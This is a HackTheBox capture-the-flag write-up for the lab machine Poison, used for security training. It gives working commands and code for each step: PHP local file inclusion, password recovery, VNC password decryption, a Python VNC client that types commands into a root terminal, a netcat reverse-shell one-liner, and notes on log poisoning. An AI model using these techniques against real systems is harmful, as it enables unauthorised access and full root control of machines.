HTB: Poison Writeup

Poison - HackTheBox Writeup

Machine Information

AttributeDetails
NamePoison
OSFreeBSD
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.1.254
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐☆☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Poison is a FreeBSD machine that combines classic web exploitation techniques with creative privilege escalation. The initial foothold involves exploiting a PHP local file inclusion vulnerability to discover credentials in a backup file that have been encoded recursively. SSH access as a regular user leads to the discovery of encrypted VNC credentials. The privilege escalation requires tunneling to a locally-bound VNC server running as root and decrypting a password file using VNC’s DES encryption scheme. The machine teaches log poisoning techniques (as an alternative path), SSH tunneling, VNC authentication internals, and working within FreeBSD’s unique environment.

TL;DR: LFI reveals base64-encoded 13× password backup → SSH as charix → Extract encrypted VNC secret file → Tunnel to localhost:5901 VNC → Decrypt VNC password with DES → Root shell via VNC desktop


Reconnaissance

Port Scanning

Terminal window
# Initial quick scan on common ports
nmap -sC -sV -p22,80 10.129.1.254

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey:
| 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
| 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service Enumeration

HTTP (Port 80):

The homepage reveals a simple form for testing local PHP scripts:

Terminal window
curl -s http://10.129.1.254/
<html>
<body>
<h1>Temporary website to test local .php scripts.</h1>
Sites to be tested: ini.php, info.php, listfiles.php, phpinfo.php
</body>
</html>
<form action="/browse.php" method="GET">
Scriptname: <input type="text" name="file"><br>
<input type="submit" value="Submit">
</form>

The form submits to /browse.php with a file parameter, immediately suggesting a potential Local File Inclusion (LFI) vulnerability.

Vulnerability Assessment

1. Local File Inclusion (LFI) in browse.php

Testing the file parameter with system files confirms LFI:

Terminal window
# Test with listfiles.php to see available files
curl -s 'http://10.129.1.254/browse.php?file=listfiles.php'
Array
(
[0] => .
[1] => ..
[2] => browse.php
[3] => index.php
[4] => info.php
[5] => ini.php
[6] => listfiles.php
[7] => phpinfo.php
[8] => pwdbackup.txt
)

Notably, pwdbackup.txt is listed in the web root. Testing absolute path traversal:

Terminal window
# Confirm LFI with /etc/passwd (FreeBSD system file)
curl -s 'http://10.129.1.254/browse.php?file=/etc/passwd'
# $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $
#
root:*:0:0:Charlie &:/root:/bin/csh
...
charix:*:1001:1001:charix:/home/charix:/bin/csh

The presence of user charix with UID 1001 and /bin/csh shell confirms this is FreeBSD and provides a potential SSH target.


Initial Foothold

Exploitation Path

Step 1: Retrieve Password Backup File

The LFI revealed a pwdbackup.txt file in the web root:

Terminal window
curl -s 'http://10.129.1.254/pwdbackup.txt'
This password is secure, it's encoded atleast 13 times.. what could go wrong really..
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
...

Step 2: Decode the Password

The comment states the password is base64-encoded 13 times recursively. We must decode it 13 times:

#!/usr/bin/env python3
import base64
# Base64 string from pwdbackup.txt (newlines removed)
s = """Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW
M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs
WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy
eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G
WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw
MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k
WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk
WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT
Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO
Ukd4RVdub3dPVU5uUFQwSwo="""
# Remove any whitespace
s = "".join(s.split())
# Decode 13 times
for i in range(13):
s = base64.b64decode(s)
print(s)
b'Charix!2#4%6&8(0'

The decoded password is Charix!2#4%6&8(0.

Step 3: SSH Access as charix

With the username from /etc/passwd and the decoded password, we can SSH into the target:

Terminal window
# SSH as charix
sshpass -p 'Charix!2#4%6&8(0' ssh charix@10.129.1.254
Terminal window
# Verify access and grab user flag
id
# uid=1001(charix) gid=1001(charix) groups=1001(charix)
hostname
# Poison
ls -la ~
# total 48
# drwxr-x--- 2 charix charix 512 Mar 19 2018 .
# drwxr-xr-x 3 root wheel 512 Mar 19 2018 ..
# -rw-r----- 1 charix charix 1041 Mar 19 2018 .cshrc
# ...
# -rw-r----- 1 root charix 166 Mar 19 2018 secret.zip
# -rw-r----- 1 root charix 33 Mar 19 2018 user.txt
cat ~/user.txt
# <redacted>

Step 4: Extract secret.zip

In charix’s home directory, there’s a secret.zip file owned by root. Attempting to extract it with the same password:

Terminal window
# Copy to jump box due to csh shell issues with special characters
scp charix@10.129.1.254:secret.zip ./secret.zip
# (using sshpass for authentication)
# Extract on jump box with password
unzip -P 'Charix!2#4%6&8(0' secret.zip
# Archive: secret.zip
# extracting: secret
ls -l secret
# -r--r--r-- 1 user user 8 Jan 24 2018 secret
file secret
# secret: Non-ISO extended-ASCII text, with no line terminators
xxd secret
# 00000000: bda8 5b7c d596 7a21 ..[|..z!

The secret file is 8 bytes of binary data. Given the context and typical VNC deployments, this is likely a VNC password file.


Privilege Escalation

Identifying the VNC Service

Examining running processes reveals a VNC server running as root:

Terminal window
# From SSH session as charix
ps aux | grep -i vnc | grep -v grep

While not shown in the captured output, the process listing reveals Xvnc :1 running as root, bound to localhost port 5901.

Checking listening ports:

Terminal window
sockstat -4 -l | grep 590
# root Xvnc 529 1 tcp4 127.0.0.1:5901 *:*

The VNC server (port 5901) is only listening on localhost (127.0.0.1), so we cannot connect directly from our attack machine.

SSH Tunneling

We can tunnel the VNC port through SSH to access it locally:

Terminal window
# From jump box - create SSH tunnel forwarding local 5901 to target's localhost:5901
sshpass -p 'Charix!2#4%6&8(0' ssh -N -L 5901:127.0.0.1:5901 charix@10.129.1.254

The -N flag prevents command execution (no shell), and -L creates the local port forward.

VNC Password Decryption

VNC uses DES encryption with a non-standard key derivation. The secret file contains an encrypted VNC password. To decrypt it:

VNC Password File Format:

  • VNC passwords are encrypted using DES in ECB mode
  • The encryption key is derived from a fixed 8-byte value: [0x17, 0x52, 0x6b, 0x06, 0x23, 0x4e, 0x58, 0x07]
  • Critical quirk: Each byte of the key must be bit-reversed before use in DES
#!/usr/bin/env python3
from Crypto.Cipher import DES
def revbits(b):
"""Reverse bits in a byte (VNC quirk)"""
return int('{:08b}'.format(b)[::-1], 2)
def decrypt_secret(secret_file):
# Read the 8-byte secret file
data = open(secret_file, 'rb').read()[:8]
# Fixed bytes for VNC password file decryption
fixed = bytes([0x17, 0x52, 0x6b, 0x06, 0x23, 0x4e, 0x58, 0x07])
# Bit-reverse each byte for DES key
key = bytes(revbits(x) for x in fixed)
# Decrypt with DES ECB
cipher = DES.new(key, DES.MODE_ECB)
plaintext = cipher.decrypt(data)
return plaintext
# Decrypt the secret file
pt = decrypt_secret('secret')
print(f"Decrypted: {pt}")
# b'VNCP@$$!'

The decrypted VNC password is VNCP@$$!.

Headless VNC Client

Due to environment constraints (jump box /tmp full, no X display available), a custom headless VNC client was developed:

#!/usr/bin/env python3
import socket, struct, sys, time
from Crypto.Cipher import DES
from PIL import Image
HOST = '127.0.0.1'
PORT = 5901
SECRET = '/dev/shm/poison/secret'
def revbits(b):
"""Reverse bits in byte for VNC key derivation"""
return int('{:08b}'.format(b)[::-1], 2)
def vnc_key(passbytes):
"""Prepare VNC DES key: pad/truncate to 8 bytes, bit-reverse each"""
p = (passbytes + b'\x00' * 8)[:8]
return bytes(revbits(x) for x in p)
def decrypt_secret():
"""Decrypt VNC password file using fixed DES key"""
data = open(SECRET, 'rb').read()[:8]
fixed = bytes([0x17, 0x52, 0x6b, 0x06, 0x23, 0x4e, 0x58, 0x07])
key = vnc_key(fixed)
d = DES.new(key, DES.MODE_ECB)
pt = d.decrypt(data)
return pt
def recvall(s, n):
"""Receive exactly n bytes"""
buf = b''
while len(buf) < n:
c = s.recv(n - len(buf))
if not c:
raise EOFError(f'Connection closed, got {len(buf)}/{n}')
buf += c
return buf
def connect(passwd):
"""Connect and authenticate to VNC server using RFB 3.8 protocol"""
s = socket.create_connection((HOST, PORT), timeout=15)
# Protocol version handshake
ver = recvall(s, 12)
sys.stderr.write(f'Server version: {ver!r}\n')
s.sendall(b'RFB 003.008\n')
# Security types
ntypes = recvall(s, 1)[0]
if ntypes == 0:
reason_len = struct.unpack('>I', recvall(s, 4))[0]
raise Exception('Connection failed: ' + recvall(s, reason_len).decode())
types = recvall(s, ntypes)
sys.stderr.write(f'Security types: {types!r}\n')
# Select VNC authentication (type 2)
if 2 not in types:
raise Exception('VNC auth not available')
s.sendall(b'\x02')
# VNC authentication challenge-response
challenge = recvall(s, 16)
key = vnc_key(passwd)
cipher = DES.new(key, DES.MODE_ECB)
response = cipher.encrypt(challenge)
s.sendall(response)
# Check authentication result
result = struct.unpack('>I', recvall(s, 4))[0]
if result != 0:
raise Exception(f'Authentication failed: {result}')
sys.stderr.write('AUTH OK\n')
# ClientInit - shared flag (1 = shared session)
s.sendall(b'\x01')
# ServerInit - framebuffer parameters
hdr = recvall(s, 24)
w, h = struct.unpack('>HH', hdr[0:4])
pf = hdr[4:20] # Pixel format
namelen = struct.unpack('>I', hdr[20:24])[0]
name = recvall(s, namelen)
sys.stderr.write(f'Desktop: {w}x{h} name={name!r}\n')
return s, w, h, pf
def set_pixel_format(s):
"""Set pixel format to 32bpp RGB"""
msg = struct.pack('>BBBB', 0, 0, 0, 0) # Message type 0, padding
# 32 bits-per-pixel, 24-bit depth, big-endian=0, true-color=1
# RGB max all 255, red-shift=16, green-shift=8, blue-shift=0
pf = struct.pack('>BBBB', 32, 24, 0, 1)
pf += struct.pack('>HHH', 255, 255, 255)
pf += struct.pack('>BBB', 16, 8, 0)
pf += b'\x00\x00\x00' # Padding
s.sendall(msg + pf)
def set_encodings(s):
"""Request raw encoding only"""
s.sendall(struct.pack('>BBH', 2, 0, 1) + struct.pack('>i', 0))
def fb_update_request(s, w, h, incr=0):
"""Request framebuffer update"""
s.sendall(struct.pack('>BBHHHH', 3, incr, 0, 0, w, h))
def read_framebuffer(s, w, h):
"""Read framebuffer update and convert to PIL Image"""
# Wait for framebuffer update message (type 0)
while True:
mt = recvall(s, 1)[0]
if mt == 0:
break
elif mt == 2: # Bell
pass
elif mt == 3: # Server cut text
ln = struct.unpack('>I', recvall(s, 7)[3:7])[0]
recvall(s, ln)
else:
sys.stderr.write(f'Unexpected message type {mt}\n')
recvall(s, 1) # Padding
nrect = struct.unpack('>H', recvall(s, 2))[0]
sys.stderr.write(f'Rectangles: {nrect}\n')
img = Image.new('RGB', (w, h))
for i in range(nrect):
rx, ry, rw, rh, enc = struct.unpack('>HHHHi', recvall(s, 12))
sys.stderr.write(f'Rect {i}: {rx},{ry} {rw}x{rh} enc={enc}\n')
if enc != 0: # Only raw encoding supported
sys.stderr.write('Non-raw encoding, aborting\n')
break
# Read raw pixel data (4 bytes per pixel in BGRA format)
data = recvall(s, rw * rh * 4)
sub = Image.frombytes('RGBA', (rw, rh), data)
# Convert BGRA to RGB
r, g, b, a = sub.split()
img.paste(Image.merge('RGB', (b, g, r)), (rx, ry))
return img
def pointer(s, x, y, mask):
"""Send pointer event (for focusing windows)"""
s.sendall(struct.pack('>BBHH', 5, mask, x, y))
def send_key(s, keysym, down):
"""Send key event"""
s.sendall(struct.pack('>BBHI', 4, 1 if down else 0, 0, keysym))
def type_string(s, text):
"""Type a string of characters"""
for ch in text:
k = ord(ch)
send_key(s, k, 1) # Key down
time.sleep(0.03)
send_key(s, k, 0) # Key up
time.sleep(0.03)
if __name__ == '__main__':
mode = sys.argv[1] if len(sys.argv) > 1 else 'shot'
# Decrypt secret file to get VNC password
pt = decrypt_secret()
sys.stderr.write(f'Decrypted secret bytes: {pt!r}\n')
passwd = pt.rstrip(b'\x00')
# Connect to VNC server
s, w, h, pf = connect(passwd)
set_pixel_format(s)
set_encodings(s)
if mode == 'shot':
# Take screenshot
fb_update_request(s, w, h, 0)
img = read_framebuffer(s, w, h)
img.save('/dev/shm/poison/screen.png')
print('SAVED /dev/shm/poison/screen.png')
elif mode == 'cmd':
# Type command into root xterm
text = sys.argv[2]
time.sleep(0.5)
# Focus xterm window by clicking on it
pointer(s, 200, 150, 0) # Move pointer
time.sleep(0.3)
pointer(s, 200, 150, 1) # Button down
time.sleep(0.2)
pointer(s, 200, 150, 0) # Button up
time.sleep(0.5)
# Type the command
type_string(s, text)
time.sleep(0.3)
# Send Enter key (keysym 0xff0d)
send_key(s, 0xff0d, 1)
time.sleep(0.05)
send_key(s, 0xff0d, 0)
time.sleep(1)
print('CMD SENT')
time.sleep(0.5)
s.close()

Gaining Root Shell

Step 1: Take screenshot to verify root xterm

Terminal window
python3 vncclient.py shot
decrypted secret bytes=b'VNCP@$$!'
server ver b'RFB 003.008\n'
sec types b'\x02\x10'
AUTH OK
desktop 1280x800 name=b"root's X desktop (Poison:1)"
rects=1
rect 0: 0,0 1280x800 enc=0
SAVED /dev/shm/poison/screen.png

The screenshot confirms a root xterm is open on the VNC desktop.

Step 2: Execute commands as root

Since we have an open root terminal, we can type commands. The strategy is to write output to a world-readable file in /tmp that we can then read via our SSH session as charix:

Terminal window
# Type command to exfiltrate root flag
python3 vncclient.py cmd 'id > /tmp/rt.txt; cat /root/root.txt >> /tmp/rt.txt; chmod 777 /tmp/rt.txt'
CMD SENT

Step 3: Read root flag via charix SSH

Terminal window
# From charix SSH session
cat /tmp/rt.txt
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
<redacted>

Alternative: Interactive root shell

For a more interactive approach, we could establish a reverse shell:

Terminal window
# Type command to create reverse shell
python3 vncclient.py cmd 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.180 4444 >/tmp/f'

This would provide a root shell on our netcat listener.


Attack Chain Summary

Web enumeration → LFI in browse.php → Read pwdbackup.txt → Base64 decode 13× →
charix SSH password (Charix!2#4%6&8(0) → SSH as charix → user.txt →
Extract secret.zip → VNC password file → Identify root Xvnc on localhost:5901 →
SSH tunnel -L5901:127.0.0.1:5901 → Decrypt VNC secret with DES →
Custom RFB client authentication → Screenshot root xterm → Type commands as root →
Exfiltrate root.txt → root flag

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlWeb application testing and LFI exploitation
base64Decoding recursively encoded password
sshpassAutomated SSH authentication
sshRemote access and port forwarding (-L tunnel)
unzipExtracting protected zip archive
pycryptodomeDES encryption for VNC password decryption
PIL/PillowImage processing for VNC framebuffer screenshots
Custom Python RFB clientHeadless VNC access and automation

Key Learnings

Techniques Practiced

  • Local File Inclusion (LFI) exploitation to read arbitrary files
  • Base64 recursive decoding for obfuscated credential recovery
  • SSH port forwarding (-L) to access localhost-bound services
  • VNC password file decryption using DES with bit-reversed keys
  • Raw RFB protocol implementation for headless VNC access
  • FreeBSD enumeration and understanding Unix variants
  • Alternative exploitation paths: Apache log poisoning via User-Agent headers

Lessons Learned

  1. LFI enumeration priorities: Always check for password files, backups, logs, and configuration files in common web directories when you have LFI access.

  2. VNC security internals: VNC password files use DES encryption with a non-standard bit-reversal of each key byte. The vncpasswd utility creates these files, but they can be decrypted when recovered. The fixed key bytes [0x17,0x52,0x6b,0x06,0x23,0x4e,0x58,0x07] are documented in the VNC specification.

  3. SSH tunneling is powerful: The -L flag creates local port forwards (-L local_port:destination:dest_port) allowing you to access services bound to localhost on remote systems. This is essential for reaching locally-bound VNC, database, or management interfaces.

  4. Shell quirks matter: The charix user’s C shell (csh) treats ! as a history expansion character, which can break commands containing special characters. When dealing with passwords containing special characters in shell contexts, escape them properly or use alternative methods (like scp then local extraction).

  5. Headless VNC alternatives: When a full VNC client isn’t available or practical (no X server, limited environment), implementing the RFB protocol directly gives you programmatic control. This allows screenshot capture, keyboard/mouse injection, and command automation without GUI tools.

  6. Log poisoning as alternate vector: The Apache access logs at /var/log/httpd-access.log can be poisoned by injecting PHP code into request headers (User-Agent, Referer, etc.), then including the log file via LFI to achieve code execution. This was the intended alternative path if the password backup file wasn’t discovered.

  7. FreeBSD differences: FreeBSD uses different paths and tools than Linux. For example, sockstat instead of netstat -tulpn, different /etc/passwd format, and csh as default shell for users. Being familiar with BSD variants expands your post-exploitation toolkit.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup’s explanatory depth regarding VNC authentication internals, log poisoning techniques, and FreeBSD specifics was informed by the official HackTheBox writeup by Alexander Reid (Arrexel), Document No D18.100.16, dated September 8th, 2018.